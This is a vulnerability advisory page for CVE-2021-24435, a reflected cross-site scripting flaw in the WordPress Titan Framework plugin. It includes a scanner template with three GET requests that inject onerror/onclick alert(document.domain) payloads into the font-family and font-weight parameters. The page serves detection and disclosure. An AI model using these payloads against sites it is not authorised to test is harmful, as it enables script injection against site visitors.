CVE-2021-24435: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting

2025-08-01 WordPress Titan Framework plugin PoC Public

Description

The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.

PoC

id: CVE-2021-24435

info:
  name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
  author: xcapri,ritikchaddha
  severity: medium
  description: |
    The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24435
    - https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24435
    cwe-id: CWE-79
    epss-score: 0.01714
    epss-percentile: 0.76249
    cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: gambit
    product: titan_framework
    framework: wordpress
  tags: cve2021,cve,wp,xss,wp-plugin,titan-framework,wpscan,wordpress,gambit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        regex:
          - (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
          - '<p>Grumpy wizards make'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e247c31f219bacc5476f7f9dc30f284338b8ede51f03d71ca15231cfc664329702205f951ebbb48def041a3d97809874d7d8b9346145b1323bbf7b52a2a20cf5fe09:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities